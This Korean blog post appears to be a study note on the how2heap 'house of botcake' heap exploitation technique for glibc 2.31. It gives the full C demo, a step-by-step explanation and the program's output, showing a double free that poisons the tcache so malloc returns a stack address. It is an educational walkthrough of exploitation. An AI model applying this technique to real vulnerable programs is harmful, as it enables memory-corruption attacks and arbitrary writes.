https://github.com/shellphish/how2heap/blob/master/glibc_2.31/house_of_botcake.c
(이 코드는 2.35에선 작동하지 않는다)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>
int main()
{
/*
* 이 공격은 https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d
* 에 도입된 제한을 우회해야합니다.
* 만약 libc에 제한이 포함되어 있지 않다면, 단순히 victim를 두 번 해제하고
* 간단한 tcache poisoning을 수행할 수 있습니다.
* 이 기술의 이상한 이름에 대해 @anton00b와 @subwire에게 감사드립니다. */
// _IO_FILE이 힙과 간섭하지 않도록 버퍼링 비활성화
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// 소개
puts("이 파일은 tcache poisoning 공격을 보여줍니다. 이 공격은 malloc을 속여서");
puts("임의의 위치(이 데모에서는 스택)에 포인터를 반환하도록합니다.");
puts("이 공격은 두 번의 해제(double free)에만 의존합니다.\n");
// 대상 준비
intptr_t stack_var[4];
puts("malloc()이 반환하길 원하는 주소, 즉,");
printf("대상 주소는 %p입니다.\n\n", stack_var);
// 힙 레이아웃 준비
puts("힙 레이아웃 준비");
puts("나중에 tcache 리스트를 채울 7개의 청크(malloc(0x100))를 할당합니다.");
intptr_t *x[7];
for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){
x[i] = malloc(0x100);
}
puts("나중에 합병을 위한 청크를 할당합니다.");
intptr_t *prev = malloc(0x100);
puts("victim 청크를 할당합니다.");
intptr_t *a = malloc(0x100);
printf("malloc(0x100): a=%p.\n", a);
puts("합병을 방지하기 위해 패딩을 할당합니다.\n");
malloc(0x10);
// 청크 중첩 발생
puts("이제 청크 중첩을 발생시킬 수 있습니다");
puts("단계 1: tcache 리스트를 채웁니다");
for(int i=0; i<7; i++){
free(x[i]);
}
puts("단계 2: victim 청크를 해제하여 unsorted bin에 추가합니다");
free(a);
puts("단계 3: prev 청크를 해제하고 합병하도록 합니다.");
free(prev);
puts("단계 4: victim 청크를 tcache 리스트에 추가하려면 그 중 하나를 가져와 다시 해제합니다\n");
malloc(0x100);
/* 취약점 */
free(a);// 이미 해제된 상태의 a
/* 취약점 */
// 간단한 tcache poisoning
puts("tcache poisoning 시작");
puts("이제 victim에 더 큰 해제된 청크에 포함되어 있으므로, 중첩된 청크를 사용하여 간단한 tcache poisoning을 수행할 수 있습니다.");
intptr_t *b = malloc(0x120);
puts("우리는 단순히 victim의 fwd 포인터를 덮어씁니다.");
b[0x120/8-2] = (long)stack_var;
// 목표물을 가져옴
puts("이제 목표 청크를 가져올 수 있습니다.");
malloc(0x100);
intptr_t *c = malloc(0x100);
printf("새로운 청크는 %p에 있습니다.\n", c);
// 정상성 확인
assert(c==stack_var);
printf("목표/스택에 대한 제어 획득!\n\n");
// 노트
puts("노트:");
puts("이 기술의 멋진 점은: b, victim를 다시 해제하고 victim의 fwd 포인터를 수정할 수 있습니다.");
puts("그 경우에는, 한 번 이 기술을 사용하면 매우 쉽게 많은 임의 쓰기를 할 수 있습니다.");
return 0;
}
1. 청크 7개(0x100)를 할당하고, 합병을 위한 prev 청크(0x100),
victim(a) 청크(0x100), 병합 방지용 청크(0x10)를 할당한다.
2-1. 청크 7개로 tcache list를 채운다.
2-2. victim 청크를 해제해 unsorted bin에 넣고
prev 청크도 해제시켜 unsorted bin에 넣어 병합시킨다.
3. victim(a)을 tcache list에 추가하기 위해
malloc(0x100)을 수행하고 victim을 해제(free)한다.
(tcache list에서 -1, +1)
(victim이 unsorted bin과 tcache list 안에 포함됨)
4. malloc(0x120)으로 unsorted bin에서 청크를 할당 받는다.
victim의 fd, bk를 오버라이트 할 수 있는 상태가 된다.
5. victim의 fd를 스택 주소로 오버라이트 하면 아래 그림과 같아진다.
(tcache list 변조됨 : victim(a) -> stack -> ...)
이후 malloc(0x100)을 2번 하면 스택 영역에 청크를 할당 받는다.
요약하면 unsorted bin을 활용한 DFB로 tcache list(fd pointer)를 조작하여
스택에 청크를 할당받는 공격인 것으로 이해했다.
임의 사이즈 malloc, 임의 청크 free가 가능하다면 공격이 가능할 것으로 보인다.
how2heap의 설명에선 b와 victim을 다시 해제하고 victim의 fd를 재설정할 수 있다고 한다.
이 파일은 tcache poisoning 공격을 보여줍니다. 이 공격은 malloc을 속여서
임의의 위치(이 데모에서는 스택)에 포인터를 반환하도록합니다.
이 공격은 두 번의 해제(double free)에만 의존합니다.
malloc()이 반환하길 원하는 주소, 즉,
대상 주소는 0x7fff87703120입니다.
힙 레이아웃 준비
나중에 tcache 리스트를 채울 7개의 청크(malloc(0x100))를 할당합니다.
나중에 합병을 위한 청크를 할당합니다.
victim 청크를 할당합니다.
malloc(0x100): a=0x55661d126b20.
합병을 방지하기 위해 패딩을 할당합니다.
이제 청크 중첩을 발생시킬 수 있습니다
단계 1: tcache 리스트를 채웁니다
단계 2: victim 청크를 해제하여 unsorted bin에 추가합니다
단계 3: prev 청크를 해제하고 합병하도록 합니다.
단계 4: victim 청크를 tcache 리스트에 추가하려면 그 중 하나를 가져와 다시 해제합니다
tcache poisoning 시작
이제 victim에 더 큰 해제된 청크에 포함되어 있으므로, 중첩된 청크를 사용하여 간단한 tcache poisoning을 수행할 수 있습니다.
우리는 단순히 victim의 fwd 포인터를 덮어씁니다.
이제 목표 청크를 가져올 수 있습니다.
새로운 청크는 0x7fff87703120에 있습니다.
목표/스택에 대한 제어 획득!
노트:
이 기술의 멋진 점은: b, victim를 다시 해제하고 victim의 fwd 포인터를 수정할 수 있습니다.
그 경우에는, 한 번 이 기술을 사용하면 매우 쉽게 많은 임의 쓰기를 할 수 있습니다.
'background > linux' 카테고리의 다른 글
FSOP(File Stream Oriented Programming) (0) | 2024.04.29 |
---|---|
[how2heap] Tcache Poisoning (glibc 2.31/2.35) (0) | 2024.04.10 |
[how2heap] Fastbin dup into stack (glibc 2.35) (1) | 2024.03.11 |
[how2heap] Fastbin dup (glibc 2.35) (0) | 2024.03.05 |
stack pivoting (0) | 2023.07.06 |